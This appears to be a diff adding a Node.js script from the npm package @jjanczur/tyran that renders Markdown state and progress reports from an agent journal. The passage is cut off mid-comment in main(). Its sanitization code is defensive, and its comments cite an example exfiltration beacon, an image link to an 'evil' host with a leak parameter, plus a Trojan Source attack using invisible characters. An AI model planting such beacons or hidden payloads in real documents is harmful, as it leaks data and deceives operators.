@jjanczur/tyran 0.1.0

package/scripts/project.mjs

@@ -0,0 +1,981 @@
+#!/usr/bin/env node
+/**
+ * project — deterministic Markdown projections of a Tyran journal.
+ *
+ * The journal (`journal.jsonl`) is the only source of truth. `STATE.md` and
+ * `PROGRESS.md` are disposable views of it: regenerate them at any time,
+ * never edit them by hand. Design rules (see docs/projections.md):
+ *  - deterministic: same journal bytes -> same output bytes, always;
+ *  - idempotent: re-running on an unchanged journal rewrites identical files;
+ *  - crash-tolerant: a truncated final line, corrupt lines, unknown event
+ *    types and non-object events are reported, never fatal;
+ *  - lossless: every event type in the closed set lands in a rendered
+ *    section, and anything unrecognized is counted in plain sight.
+ *
+ * CLI:
+ *   node project.mjs <journal.jsonl> [--out-dir <dir>] [--check]
+ * Exit: 0 ok · 1 projections drifted (--check) · 2 usage/IO error
+ */
+import {
+  existsSync,
+  mkdirSync,
+  readFileSync,
+  realpathSync,
+  renameSync,
+  statSync,
+  unlinkSync,
+  writeFileSync,
+} from 'node:fs';
+import { dirname, join, resolve } from 'node:path';
+import { fileURLToPath } from 'node:url';
+import { readJournal, pairSpawns } from './journal.mjs';
+import { escapeInvisible } from './invisible.mjs';
+
+/** Projection file names. Both are fully generated — never hand-edited. */
+export const STATE_FILE = 'STATE.md';
+export const PROGRESS_FILE = 'PROGRESS.md';
+
+const GENERATED_HEADER =
+  '<!-- GENERATED by tyran scripts/project.mjs - DO NOT EDIT. Source of truth: journal.jsonl -->\n' +
+  '<!-- Regenerate: node scripts/project.mjs <journal.jsonl> --out-dir <dir> -->\n';
+
+/** Gate results that count as closed. Anything else keeps the gate OPEN. */
+const GATE_PASS = new Set(['pass', 'passed', 'ok', 'green', 'approved', 'closed']);
+
+/** Longest inline value rendered in a cell or list item, in codepoints. */
+const MAX_CELL = 160;
+
+/** Milestones rendered in PROGRESS.md; older ones are omitted VISIBLY. */
+const MILESTONE_TYPES = new Set(['init.created', 'plan.accepted', 'gate', 'merge', 'checkpoint']);
+const MAX_MILESTONES = 50;
+
+// ------------------------------------------------------------- rendering
+
+/**
+ * The shared core of every operator-facing rendering: one line, nothing
+ * invisible, bounded length.
+ *
+ * This is where the ONE invisibility policy is applied, for the document and
+ * for the terminal alike. What is NOT shared is the medium's own escaping —
+ * pipes, backticks and angle brackets are hazards in a Markdown table and
+ * ordinary punctuation on stderr — and that is a different question from "is
+ * this codepoint invisible", not a second answer to it. Keeping the two apart
+ * is the same distinction this module already draws between the invisibility
+ * rule and the disjoint whitespace rule (ADR-21).
+ */
+function oneLine(value) {
+  let s;
+  if (typeof value === 'string') s = value;
+  else if (Array.isArray(value)) s = value.map((v) => (typeof v === 'string' ? v : JSON.stringify(v))).join(', ');
+  else s = JSON.stringify(value) ?? String(value);
+  // Every invisible codepoint becomes its visible escape notation. An
+  // unterminated RLO would otherwise mirror every following column of a table
+  // row — or every following character of a terminal line — so a journal value
+  // could rewrite the document a human reads (Trojan Source); and a TAG
+  // character would carry readable ASCII straight past a reader who cannot see
+  // it at all. These documents are read by AGENTS, and their content travels
+  // from subagent reports about FOREIGN repositories.
+  //
+  // Escaped, not deleted, and that is a decision with a reason: silent removal
+  // made a poisoned value and a clean one render identically. See
+  // escapeInvisible in scripts/invisible.mjs for the full argument.
+  //
+  // The membership list used to be a character class maintained BY HAND, right
+  // here, and it was the weakest of the three spellings of the rule: it removed
+  // 106 codepoints where the CI scanner removed 475, and it passed the entire
+  // TAG block (U-46). One answer now, and no list here to fall behind it.
+  //
+  // Whitespace collapsing is a SEPARATE normalization: a tab and a newline are
+  // VISIBLE characters that would break a row or a log line, so they are
+  // folded, not banned.
+  s = escapeInvisible(s)
+    .replace(/\s+/g, ' ')
+    .trim();
+  const cps = Array.from(s);
+  if (cps.length > MAX_CELL) s = cps.slice(0, MAX_CELL - 1).join('') + '…';
+  return s;
+}
+
+/**
+ * Make any journal value safe for one line of STDERR.
+ *
+ * Same invisibility policy as `inline()`, without the Markdown escaping that
+ * would put `&lt;` in front of a human reading a terminal. A warning is an
+ * operator-facing channel and gets exactly the same protection the documents
+ * get — which it did not have until a security review put 37 invisible
+ * codepoints, and a reconstructable "DELETE THE JOURNAL", on that terminal.
+ */
+export function inlinePlain(value) {
+  if (value === undefined || value === null) return '(none)';
+  const s = oneLine(value);
+  return s === '' ? '(none)' : s;
+}
+
+/**
+ * Make any journal value safe for one Markdown line: no newlines (they would
+ * break a table row), no pipes/backticks (they would break the columns), no
+ * `<`/`>` (they could close the GENERATED comment or inject HTML), no `[`/`]`
+ * (Markdown link/image syntax reaching a remote host), no bidi overrides or
+ * zero-width characters (Trojan Source), and a hard length cap so one huge
+ * `data` field cannot produce a megabyte-wide table.
+ */
+export function inline(value) {
+  if (value === undefined || value === null) return '&mdash;';
+  const s = oneLine(value);
+  if (s === '') return '&mdash;';
+  return s
+    .replace(/&/g, '&amp;')
+    .replace(/</g, '&lt;')
+    .replace(/>/g, '&gt;')
+    .replace(/\\/g, '&#92;')
+    .replace(/\|/g, '&#124;')
+    .replace(/`/g, '&#96;')
+    // `[` and `]` disarm Markdown link/image syntax: without this a journal
+    // value could render as <img src="https://evil/?leak=..."> in GitHub or
+    // VS Code — a read beacon plus an exfiltration channel for journal text.
+    .replace(/\[/g, '&#91;')
+    .replace(/\]/g, '&#93;');
+}
+
+/** Natural order (`T-2` before `T-10`), total and deterministic. */
+export function naturalCompare(a, b) {
+  const ax = String(a).match(/\d+|\D+/g) ?? [];
+  const bx = String(b).match(/\d+|\D+/g) ?? [];
+  for (let i = 0; i < Math.max(ax.length, bx.length); i++) {
+    const x = ax[i];
+    const y = bx[i];
+    if (x === undefined) return -1;
+    if (y === undefined) return 1;
+    if (x === y) continue;
+    const isNum = /^\d+$/.test(x) && /^\d+$/.test(y);
+    if (isNum) {
+      const d = Number(x) - Number(y);
+      if (d !== 0) return d < 0 ? -1 : 1;
+    } else return x < y ? -1 : 1;
+  }
+  return 0;
+}
+
+/** Stable sort by a natural key; ties keep their original (journal) order. */
+function sortByKey(items, keyOf) {
+  return items
+    .map((item, i) => [item, i])
+    .sort((a, b) => naturalCompare(keyOf(a[0]), keyOf(b[0])) || a[1] - b[1])
+    .map(([item]) => item);
+}
+
+/** A Markdown table, or an explicitly empty marker — never a hidden section. */
+function table(headers, rows) {
+  if (rows.length === 0) return '_none_\n';
+  const head = `| ${headers.join(' | ')} |\n|${headers.map(() => '---').join('|')}|\n`;
+  return head + rows.map((r) => `| ${r.join(' | ')} |\n`).join('');
+}
+
+function list(items) {
+  if (items.length === 0) return '_none_\n';
+  return items.map((s) => `- ${s}\n`).join('');
+}
+
+// ------------------------------------------------------------------ fold
+
+/**
+ * Fold a journal read into the projection state. Pure: no clock, no I/O.
+ * Every closed-set event type must hit a branch here; anything else is
+ * counted in `unknownTypes` so a newer Tyran's events stay visible to an
+ * older projector instead of vanishing.
+ */
+export function fold({ events = [], truncatedTail = false, badLines = [] } = {}) {
+  const state = {
+    initiatives: [],
+    total: 0,
+    malformed: 0,
+    byType: new Map(),
+    unknownTypes: new Map(),
+    truncatedTail,
+    corruptLines: badLines.length,
+    firstTs: null,
+    lastTs: null,
+    lastEvent: null,
+    checkpoint: null,
+    planAccepted: null,
+    created: null,
+    tickets: new Map(),
+    agents: [],
+    gates: new Map(),
+    leases: new Map(),
+    mismatchedReleases: [],
+    decisions: [],
+    retro: [],
+    errors: [],
+    milestones: [],
+    unusableAgentNames: [],
+    ambiguousAgents: [],
+  };
+
+  /**
+   * Who is still working is answered ONCE, by journal.pairSpawns, and rendered
+   * here (ADR-21). This function used to compute its own answer with its own
+   * rule — "prefer the running spawn of that agent working on THAT ticket,
+   * else the oldest open spawn of the same name" — while pairSpawns paired
+   * strictly FIFO by name and excluded unusable names outright. The two
+   * disagreed on both axes, and the operator got both answers at once: for a
+   * spawn whose agent name carried a zero-width joiner, STATE.md said
+   * **running (no report yet)** while doctor, reading pairSpawns, saw no open
+   * spawn at all. Two artefacts that doctor itself produces, contradicting
+   * each other about the one question the state layer exists to answer.
+   *
+   * The ticket-first rule is GONE, not parameterized. Its only stated
+   * justification was journals written before ADR-18, which can hold two open
+   * spawns of one name — and that population was measured before this change:
+   * zero. Not one such journal exists in this repository, in its entire git
+   * history, or anywhere on the machine that develops it; the only .jsonl ever
+   * committed is the demo fixture, which has one spawn per name. Journals are
+   * append-only, so a rule kept "for old files" cannot ever be retired later —
+   * it is a permanent second semantics, not a migration window. ADR-18 already
+   * makes `append` REFUSE the state ticket-first existed to disambiguate, so
+   * the rule was resolving an ambiguity the system had declared illegal, and
+   * resolving it differently from every other consumer.
+   *
+   * When that state does appear (a hand-edited file), it is now REPORTED
+   * rather than silently guessed at — see `warnings()` — which is what ADR-18
+   * asks for: make the ambiguity visible, do not have each reader guess.
+   */
+  const paired = pairSpawns(events);
+  const reportForSpawn = new Map(paired.pairs.map((p) => [p.spawn, p.report]));
+  const orphanReports = new Set(paired.orphanReports);
+  const unusableEvents = new Map(paired.unusable.map((u) => [u.event, u.problem]));
+  for (const [raw, problem] of paired.badNames) state.unusableAgentNames.push({ raw, problem });
+  for (const [agent, count] of paired.ambiguous) state.ambiguousAgents.push({ agent, count });
+
+  const ticketOf = (id, seenTs) => {
+    const key = String(id);
+    if (!state.tickets.has(key)) {
+      state.tickets.set(key, {
+        id: key,
+        declared: false,
+        title: null,
+        deps: null,
+        agents: [],
+        report: null,
+        review: null,
+        merge: null,
+        lastTs: seenTs ?? null,
+      });
+    }
+    const t = state.tickets.get(key);
+    if (seenTs) t.lastTs = seenTs;
+    return t;
+  };
+
+  for (const event of events) {
+    if (typeof event !== 'object' || event === null || Array.isArray(event)) {
+      state.malformed++;
+      continue;
+    }
+    state.total++;
+    const ev = typeof event.ev === 'string' ? event.ev : '(missing ev)';
+    const ts = typeof event.ts === 'string' ? event.ts : null;
+    const actor = typeof event.actor === 'string' ? event.actor : null;
+    const data = typeof event.data === 'object' && event.data !== null && !Array.isArray(event.data) ? event.data : {};
+    state.byType.set(ev, (state.byType.get(ev) ?? 0) + 1);
+    if (typeof event.init === 'string' && event.init !== '' && !state.initiatives.includes(event.init)) {
+      state.initiatives.push(event.init);
+    }
+    if (ts) {
+      if (state.firstTs === null) state.firstTs = ts;
+      state.lastTs = ts;
+    }
+    state.lastEvent = { ev, ts, actor };
+    if (MILESTONE_TYPES.has(ev)) state.milestones.push({ ev, ts, actor, data });
+
+    switch (ev) {
+      case 'init.created':
+        state.created = { ts, actor, data };
+        break;
+      case 'plan.accepted':
+        state.planAccepted = { ts, actor, data };
+        break;
+      case 'ticket.created': {
+        const t = ticketOf(data.id ?? '(no id)', ts);
+        t.declared = true;
+        t.title = data.title ?? data.text ?? null;
+        t.deps = Array.isArray(data.deps) ? data.deps : null;
+        break;
+      }
+      case 'spawn': {
+        const agent = {
+          agent: data.agent ?? '(no agent)',
+          role: data.role ?? null,
+          model: data.model ?? null,
+          ticket: data.ticket ?? null,
+          worktree: data.worktree ?? null,
+          spawnTs: ts,
+          status: 'running',
+          verdict: null,
+          reportTs: null,
+        };
+        // An unusable name is NOT a correlator, so pairSpawns excludes it — and
+        // this row must say so. The two answers that were available were
+        // "invisible" and "running", and the operator was getting both. It is
+        // neither: a silent exclusion is the failure ADR-19 correction 1
+        // forbids outright ("a skipped item must be counted and named, even on
+        // a clean run"), and rendering it as an ordinary running agent is the
+        // false picture of state that ADR-18 calls worse than no picture. So:
+        // visible, and visibly unusable, in both artefacts.
+        if (unusableEvents.has(event)) {
+          agent.status = 'unusable agent name (excluded from pairing)';
+        } else {
+          const report = reportForSpawn.get(event);
+          if (report) {
+            agent.status = 'reported';
+            agent.verdict = report.data?.verdict ?? null;
+            agent.reportTs = typeof report.ts === 'string' ? report.ts : null;
+            if (agent.ticket == null && report.data?.ticket != null) agent.ticket = report.data.ticket;
+          }
+        }
+        state.agents.push(agent);
+        if (data.ticket != null) ticketOf(data.ticket, ts).agents.push(agent.agent);
+        break;
+      }
+      case 'report': {
+        // A report that pairSpawns matched to a spawn has already been applied
+        // to that spawn's row above — this branch only has to render what
+        // pairing left over, so the two never compute the same thing twice.
+        if (orphanReports.has(event) || unusableEvents.has(event)) {
+          state.agents.push({
+            agent: data.agent ?? '(no agent)',
+            role: null,
+            model: null,
+            ticket: data.ticket ?? null,
+            worktree: null,
+            spawnTs: null,
+            status: unusableEvents.has(event)
+              ? 'unusable agent name (excluded from pairing)'
+              : 'reported (no spawn event)',
+            verdict: data.verdict ?? null,
+            reportTs: ts,
+          });
+        }
+        if (data.ticket != null) {
+          ticketOf(data.ticket, ts).report = { verdict: data.verdict ?? null, ts, by: data.agent ?? actor };
+        }
+        break;
+      }
+      case 'gate': {
+        const kind = String(data.kind ?? '(no kind)');
+        const prev = state.gates.get(kind);
+        state.gates.set(kind, {
+          kind,
+          result: data.result ?? null,
+          ts,
+          evidence: data.evidence_ref ?? data.evidence ?? null,
+          count: (prev?.count ?? 0) + 1,
+        });
+        break;
+      }
+      // `review`/`merge` require data.ticket, but a hand-written or older
+      // journal may omit it — bucket those under a visible pseudo-ticket
+      // instead of dropping the event (silent loss is the worse failure).
+      case 'review':
+        ticketOf(data.ticket ?? '(no ticket)', ts).review = {
+          verdict: data.verdict ?? null,
+          by: data.by ?? actor,
+          ts,
+        };
+        break;
+      case 'merge':
+        ticketOf(data.ticket ?? '(no ticket)', ts).merge = {
+          sha: data.sha ?? null,
+          mode: data.mode ?? null,
+          ts,
+        };
+        break;
+      case 'decision':
+        state.decisions.push({ id: data.id ?? '(no id)', text: data.text ?? null, ts, actor });
+        break;
+      case 'lease.acquired': {
+        const key = String(data.resource ?? '(no resource)');
+        state.leases.set(key, { resource: key, holder: data.holder ?? null, ts });
+        break;
+      }
+      case 'lease.released': {
+        const key = String(data.resource ?? '(no resource)');
+        const held = state.leases.get(key);
+        // Mirrors journal.tail(): only the current holder can free a lease.
+        if (held && held.holder === data.holder) state.leases.delete(key);
+        else state.mismatchedReleases.push({ resource: key, by: data.holder ?? null, holder: held?.holder ?? null, ts });
+        break;
+      }
+      case 'checkpoint':
+        state.checkpoint = { phase: data.phase ?? null, nextSteps: data.next_steps, ts, actor };
+        break;
+      case 'retro.entry':
+        state.retro.push({ kind: data.kind ?? null, target: data.target ?? null, confidence: data.confidence ?? null, ts });
+        break;
+      case 'error':
+        state.errors.push({ class: data.class ?? null, detail: data.detail ?? null, ts, actor });
+        break;
+      default:
+        state.unknownTypes.set(ev, (state.unknownTypes.get(ev) ?? 0) + 1);
+    }
+  }
+
+  const tickets = sortByKey([...state.tickets.values()], (t) => t.id);
+  const merged = tickets.filter((t) => t.merge !== null).length;
+  state.ticketList = tickets;
+  state.merged = merged;
+  state.percent = tickets.length === 0 ? 0 : Math.round((merged / tickets.length) * 100);
+  state.openGates = [...state.gates.values()].filter(
+    (g) => !GATE_PASS.has(String(g.result ?? '').toLowerCase()),
+  );
+  return state;
+}
+
+/** Human-readable status of one ticket, derived from the strongest signal. */
+export function ticketStatus(t) {
+  if (t.merge) return `merged (${t.merge.sha ?? 'no sha'})`;
+  if (t.review) return `review: ${t.review.verdict ?? 'no verdict'}`;
+  if (t.report) return `reported: ${t.report.verdict ?? 'no verdict'}`;
+  if (t.agents.length > 0) return 'in progress';
+  return 'open';
+}
+
+/** The one-line progress banner; also the H1 of PROGRESS.md. */
+export function progressLine(state) {
+  const phase = state.checkpoint?.phase ?? null;
+  return `PROGRESS: ${state.percent}% · ${state.merged}/${state.ticketList.length} tickets merged · phase: ${
+    phase == null || String(phase).trim() === '' ? '(none)' : inline(phase)
+  }`;
+}
+
+/**
+ * Warnings for stderr — surfaced, never fatal.
+ *
+ * STDERR IS AN OUTPUT CHANNEL, and every journal value that reaches it goes
+ * through `inline()` exactly like a value reaching a document.
+ *
+ * That was not true until a security review demonstrated it. `ev` and
+ * `init` were interpolated RAW here, and a journal carrying a right-to-left
+ * override plus 18 TAG characters in those fields put 37 invisible codepoints
+ * on the operator's terminal, spelling "DELETE THE JOURNAL" where nothing was
+ * visible, with the override mirroring the rest of the line. Twenty-eight
+ * lines below, `initiativeName()` was passing the very same `state.initiatives`
+ * through `inline()` on its way into the document — the same value, sanitized
+ * for the file and raw for the human, inside one function. That is the third
+ * spelling of the rule reappearing as a third spelling of WHERE the rule
+ * applies, which is the same defect wearing different clothes (ADR-21).
+ *
+ * The fuzz that should have caught it swept `STATE.md` and `PROGRESS.md`. The
+ * channel it did not sweep was the one that leaked, so the fuzz now sweeps
+ * every channel this module can write to.
+ */
+export function warnings(state) {
+  const out = [];
+  if (state.truncatedTail) out.push('journal has a truncated final line (crash mid-write) — it was skipped');
+  if (state.corruptLines > 0) out.push(`journal has ${state.corruptLines} corrupt line(s) mid-file — they were skipped`);
+  if (state.malformed > 0) out.push(`${state.malformed} line(s) parsed to a non-object value — they were skipped`);
+  for (const [ev, n] of sortByKey([...state.unknownTypes.entries()], (e) => e[0])) {
+    out.push(`unknown event type "${inlinePlain(ev)}" x${n} — counted but not folded (newer Tyran?)`);
+  }
+  if (state.initiatives.length > 1) {
+    out.push(
+      `journal mixes ${state.initiatives.length} initiatives: ${state.initiatives.map((i) => inlinePlain(i)).join(', ')}`,
+    );
+  }
+  if (state.mismatchedReleases.length > 0) {
+    out.push(`${state.mismatchedReleases.length} lease release(s) by a non-holder — leases stay open`);
+  }
+  // Never silent (ADR-19 correction 1): an event excluded from spawn/report
+  // pairing is exactly the fact a reader must not have to infer from an
+  // unexplained gap in the table.
+  for (const { raw, problem } of state.unusableAgentNames) {
+    out.push(`unusable data.agent ${inlinePlain(raw)}: ${problem} — excluded from spawn/report pairing`);
+  }
+  // The state ADR-18 makes unrepresentable through `append`, and which the
+  // projection no longer silently guesses at now that ticket-first is gone.
+  for (const { agent, count } of state.ambiguousAgents) {
+    out.push(
+      `agent ${inlinePlain(agent)} has ${count} open spawns — the journal was hand-edited or written ` +
+        'before ADR-18; spawn/report pairing for this name is ambiguous and reports pair oldest-first',
+    );
+  }
+  return out;
+}
+
+// ------------------------------------------------------------- documents
+
+function initiativeName(state) {
+  if (state.initiatives.length === 0) return '(none)';
+  return state.initiatives.map((i) => inline(i)).join(', ');
+}
+
+function renderState(state) {
+  const cp = state.checkpoint;
+  const parts = [GENERATED_HEADER, `\n# STATE — ${initiativeName(state)}\n`];
+
+  parts.push('\n## Checkpoint\n\n');
+  parts.push(
+    list([
+      `**Phase:** ${cp ? inline(cp.phase) : '_none_'}`,
+      `**Checkpoint written:** ${cp ? inline(cp.ts) : '_none_'} by ${cp ? inline(cp.actor) : '_none_'}`,
+      `**Last journal event:** ${state.lastEvent ? `\`${inline(state.lastEvent.ev)}\`` : '_none_'} at ${
+        state.lastEvent ? inline(state.lastEvent.ts) : '_none_'
+      } by ${state.lastEvent ? inline(state.lastEvent.actor) : '_none_'}`,
+      `**Plan accepted:** ${state.planAccepted ? inline(state.planAccepted.ts) : '_none_'}`,
+      `**Progress:** ${progressLine(state)}`,
+    ]),
+  );
+
+  parts.push('\n## Agents\n\n');
+  parts.push(
+    table(
+      ['Agent', 'Role', 'Model', 'Ticket', 'Worktree', 'Status', 'Spawned'],
+      sortByKey(state.agents, (a) => `${a.agent} ${a.spawnTs ?? ''}`).map((a) => [
+        inline(a.agent),
+        inline(a.role),
+        inline(a.model),
+        inline(a.ticket),
+        inline(a.worktree),
+        a.status === 'running'
+          ? '**running (no report yet)**'
+          : `${inline(a.status)}${a.verdict == null ? '' : `: ${inline(a.verdict)}`}`,
+        inline(a.spawnTs),
+      ]),
+    ),
+  );
+
+  parts.push('\n## Ledger\n\n');
+  parts.push(
+    table(
+      ['Ticket', 'Title', 'Status', 'Deps', 'Agents', 'Last event'],
+      state.ticketList.map((t) => [
+        `\`${inline(t.id)}\`${t.declared ? '' : ' _(no ticket.created)_'}`,
+        inline(t.title),
+        inline(ticketStatus(t)),
+        inline(t.deps),
+        inline(t.agents.length === 0 ? null : t.agents),
+        inline(t.lastTs),
+      ]),
+    ),
+  );
+
+  parts.push('\n## Open gates\n\n');
+  parts.push(
+    table(
+      ['Gate', 'Latest result', 'At', 'Evidence'],
+      sortByKey(state.openGates, (g) => g.kind).map((g) => [
+        inline(g.kind),
+        inline(g.result),
+        inline(g.ts),
+        inline(g.evidence),
+      ]),
+    ),
+  );
+
+  parts.push('\n## All gates\n\n');
+  parts.push(
+    table(
+      ['Gate', 'Latest result', 'Events', 'At'],
+      sortByKey([...state.gates.values()], (g) => g.kind).map((g) => [
+        inline(g.kind),
+        inline(g.result),
+        String(g.count),
+        inline(g.ts),
+      ]),
+    ),
+  );
+
+  parts.push('\n## Open leases\n\n');
+  parts.push(
+    table(
+      ['Resource', 'Holder', 'Acquired'],
+      sortByKey([...state.leases.values()], (l) => l.resource).map((l) => [
+        inline(l.resource),
+        inline(l.holder),
+        inline(l.ts),
+      ]),
+    ),
+  );
+
+  parts.push('\n## Lease releases by a non-holder\n\n');
+  parts.push(
+    table(
+      ['Resource', 'Released by', 'Actual holder', 'At'],
+      state.mismatchedReleases.map((m) => [inline(m.resource), inline(m.by), inline(m.holder), inline(m.ts)]),
+    ),
+  );
+
+  parts.push('\n## Decisions\n\n');
+  parts.push(
+    table(
+      ['ID', 'Decision', 'At', 'By'],
+      sortByKey(state.decisions, (d) => d.id).map((d) => [
+        `\`${inline(d.id)}\``,
+        inline(d.text),
+        inline(d.ts),
+        inline(d.actor),
+      ]),
+    ),
+  );
+
+  parts.push('\n## Retro entries\n\n');
+  parts.push(
+    table(
+      ['Kind', 'Target', 'Confidence', 'At'],
+      state.retro.map((r) => [inline(r.kind), inline(r.target), inline(r.confidence), inline(r.ts)]),
+    ),
+  );
+
+  parts.push('\n## Errors\n\n');
+  parts.push(
+    table(
+      ['Class', 'Detail', 'At', 'By'],
+      state.errors.map((e) => [inline(e.class), inline(e.detail), inline(e.ts), inline(e.actor)]),
+    ),
+  );
+
+  parts.push('\n## Resume steps\n\n');
+  const steps = cp?.nextSteps;
+  const stepList = Array.isArray(steps) ? steps : steps == null || steps === '' ? [] : [steps];
+  parts.push(stepList.length === 0 ? '_none_\n' : stepList.map((s, i) => `${i + 1}. ${inline(s)}\n`).join(''));
+
+  parts.push('\n## Journal integrity\n\n');
+  const typeCounts = sortByKey([...state.byType.entries()], (e) => e[0]).map(
+    ([ev, n]) => `\`${inline(ev)}\` ${n}`,
+  );
+  parts.push(
+    list([
+      `**Events folded:** ${state.total}`,
+      `**Unknown event types:** ${state.unknownTypes.size === 0 ? '0' : inline([...state.unknownTypes.keys()].join(', '))}`,
+      `**Non-object lines skipped:** ${state.malformed}`,
+      `**Corrupt lines skipped:** ${state.corruptLines}`,
+      `**Truncated final line:** ${state.truncatedTail ? 'yes (crash mid-write; skipped)' : 'no'}`,
+      `**Timespan:** ${inline(state.firstTs)} → ${inline(state.lastTs)}`,
+      `**Events by type:** ${typeCounts.length === 0 ? '_none_' : typeCounts.join(' · ')}`,
+    ]),
+  );
+  return parts.join('');
+}
+
+function milestoneSummary(m) {
+  const d = m.data ?? {};
+  switch (m.ev) {
+    case 'init.created':
+      return inline(d.title ?? 'initiative opened');
+    case 'plan.accepted':
+      return inline('plan accepted');
+    case 'gate':
+      return `${inline(d.kind)} → ${inline(d.result)}`;
+    case 'merge':
+      return `${inline(d.ticket)} → ${inline(d.sha)}`;
+    case 'checkpoint':
+      return `phase ${inline(d.phase)}`;
+    default:
+      return '&mdash;';
+  }
+}
+
+function renderProgress(state) {
+  const parts = [GENERATED_HEADER, `\n# ${progressLine(state)}\n`];
+  parts.push(`\nInitiative: **${initiativeName(state)}** · see \`${STATE_FILE}\` for the full state.\n`);
+
+  parts.push('\n## Tickets\n\n');
+  parts.push(
+    state.ticketList.length === 0
+      ? '_none_\n'
+      : state.ticketList
+          .map((t) => `- [${t.merge ? 'x' : ' '}] \`${inline(t.id)}\` — ${inline(ticketStatus(t))}${
+            t.title ? ` — ${inline(t.title)}` : ''
+          }\n`)
+          .join(''),
+  );
+
+  parts.push('\n## Open gates\n\n');
+  parts.push(
+    sortByKey(state.openGates, (g) => g.kind).length === 0
+      ? '_none_\n'
+      : sortByKey(state.openGates, (g) => g.kind)
+          .map((g) => `- **${inline(g.kind)}** — ${inline(g.result)} (${inline(g.ts)})\n`)
+          .join(''),
+  );
+
+  parts.push('\n## Milestones\n\n');
+  const shown = state.milestones.slice(-MAX_MILESTONES);
+  const omitted = state.milestones.length - shown.length;
+  if (omitted > 0) parts.push(`_${omitted} earlier milestone(s) omitted — the journal keeps them all._\n\n`);
+  parts.push(
+    table(
+      ['When', 'Event', 'Summary'],
+      shown.map((m) => [inline(m.ts), `\`${inline(m.ev)}\``, milestoneSummary(m)]),
+    ),
+  );
+  return parts.join('');
+}
+
+/**
+ * Render both projections from a journal read result.
+ * Returns `{ files: { name: content }, state, warnings }`.
+ */
+export function renderProjections(readResult) {
+  const state = fold(readResult);
+  return {
+    state,
+    warnings: warnings(state),
+    files: { [STATE_FILE]: renderState(state), [PROGRESS_FILE]: renderProgress(state) },
+  };
+}
+
+/** Read a journal file and render both projections. */
+export function projectFile(file) {
+  if (!existsSync(file)) {
+    throw new IOError(`journal not found: ${resolve(file)}`);
+  }
+  if (statSync(file).isDirectory()) {
+    throw new IOError(`journal path is a directory, not a file: ${resolve(file)}`);
+  }
+  return renderProjections(readJournal(file));
+}
+
+// ------------------------------------------------------------------ I/O
+
+let tmpCounter = 0;
+
+/** Atomic write: a concurrent reader sees the old or the new file, never half. */
+export function writeAtomic(path, content) {
+  const tmp = tempPathFor(path);
+  try {
+    writeFileSync(tmp, content, 'utf8');
+    renameSync(tmp, path);
+  } catch (err) {
+    cleanUp(tmp);
+    throw err;
+  }
+}
+
+function tempPathFor(path) {
+  return join(dirname(path), `.${Date.now().toString(36)}-${process.pid}-${tmpCounter++}.tmp`);
+}
+
+function cleanUp(tmp) {
+  try {
+    unlinkSync(tmp);
+  } catch {
+    /* nothing to clean up */
+  }
+}
+
+/**
+ * Write a set of files as close to atomically as a filesystem allows: stage
+ * EVERY temp file first, then rename them all. A failure while staging (full
+ * disk, no permission) therefore leaves the previous projections completely
+ * untouched, instead of swapping STATE.md and then failing on PROGRESS.md.
+ *
+ * The pair is still not one transaction — the window shrinks to the gap
+ * between two renames rather than spanning a whole document write.
+ */
+export function writeAllAtomic(entries) {
+  const staged = [];
+  try {
+    for (const [path, content] of entries) {
+      const tmp = tempPathFor(path);
+      writeFileSync(tmp, content, 'utf8');
+      staged.push([tmp, path]);
+    }
+  } catch (err) {
+    for (const [tmp] of staged) cleanUp(tmp);
+    throw err;
+  }
+  for (let i = 0; i < staged.length; i++) {
+    try {
+      renameSync(staged[i][0], staged[i][1]);
+    } catch (err) {
+      // A rename failing part-way leaves earlier files already swapped — that
+      // window is documented. What must NOT happen is temp files piling up as
+      // hidden dotfiles in .tyran/state/<init>/, invisible to --check.
+      for (const [tmp] of staged.slice(i)) cleanUp(tmp);
+      throw err;
+    }
+  }
+}
+
+/**
+ * Byte-exact comparison against what is on disk. Deliberately NOT normalized:
+ * whitespace, CRLF, BOM and a missing trailing newline are all drift, because
+ * a hand-edited projection is exactly what `--check` exists to catch.
+ */
+export function checkFile(path, expected) {
+  if (!existsSync(path)) return { path, ok: false, reason: 'missing on disk' };
+  const actual = readFileSync(path);
+  const want = Buffer.from(expected, 'utf8');
+  if (actual.equals(want)) return { path, ok: true };
+  const a = actual.toString('utf8').split('\n');
+  const b = expected.split('\n');
+  let first = null;
+  let differing = 0;
+  for (let i = 0; i < Math.max(a.length, b.length); i++) {
+    if (a[i] !== b[i]) {
+      differing++;
+      if (first === null) first = i + 1;
+    }
+  }
+  const sizes = `(on disk: ${actual.length} B, expected: ${want.length} B)`;
+  return {
+    path,
+    ok: false,
+    reason:
+      differing === 0
+        ? `same text, different bytes — encoding or BOM ${sizes}`
+        : `${differing} of ${b.length} line(s) differ, first at line ${first} ${sizes}`,
+  };
+}
+
+// ------------------------------------------------------------------- CLI
+
+class UsageError extends Error {}
+class IOError extends Error {}
+
+const BOOLEAN_FLAGS = ['check'];
+const VALUE_FLAGS = ['out-dir'];
+
+export function parseArgs(argv) {
+  const flags = {};
+  const rest = [];
+  for (let i = 0; i < argv.length; i++) {
+    const arg = argv[i];
+    if (arg.startsWith('--')) {
+      const name = arg.slice(2);
+      // A repeated flag silently overriding itself is how a projection ends
+      // up in the wrong directory — refuse instead of guessing.
+      if (name in flags) throw new Error(`flag --${name} was given twice`);
+      if (BOOLEAN_FLAGS.includes(name)) {
+        flags[name] = true;
+      } else if (VALUE_FLAGS.includes(name)) {
+        const value = argv[++i];
+        if (value === undefined || value.startsWith('--')) throw new Error(`flag --${name} requires a value`);
+        flags[name] = value;
+      } else {
+        throw new Error(`unknown flag --${name}`);
+      }
+    } else rest.push(arg);
+  }
+  if (rest.length === 0) throw new UsageError();
+  if (rest.length > 1) throw new Error(`unexpected extra argument "${rest[1]}"`);
+  return { journal: rest[0], outDir: flags['out-dir'], check: flags.check === true };
+}
+
+function main() {
+  try {
+    const { journal, outDir, check } = parseArgs(process.argv.slice(2));
+    const dir = outDir ?? dirname(resolve(journal));
+    const { files, state, warnings: warn } = projectFile(journal);
+    for (const w of warn) console.error(`project: warning: ${w}`);
+
+    // Zero signal, pure noise: not one event parsed, yet the file had content
+    // we could not read. That is a wrong path or a non-journal file, and
+    // overwriting a good STATE.md with an empty one would hand the operator a
+    // false picture of the initiative under a success exit code.
+    //
+    // `truncatedTail` counts as damage too: readJournal classifies a final
+    // line without a trailing newline as truncated rather than corrupt, so a
+    // one-line file (minified JSON, a token, a single log line) would
+    // otherwise walk straight through this gate. A journal whose very first
+    // append died mid-write lands here as well, and that is the intended
+    // reading: zero readable events plus any trace of damage means we do not
+    // project.
+    //
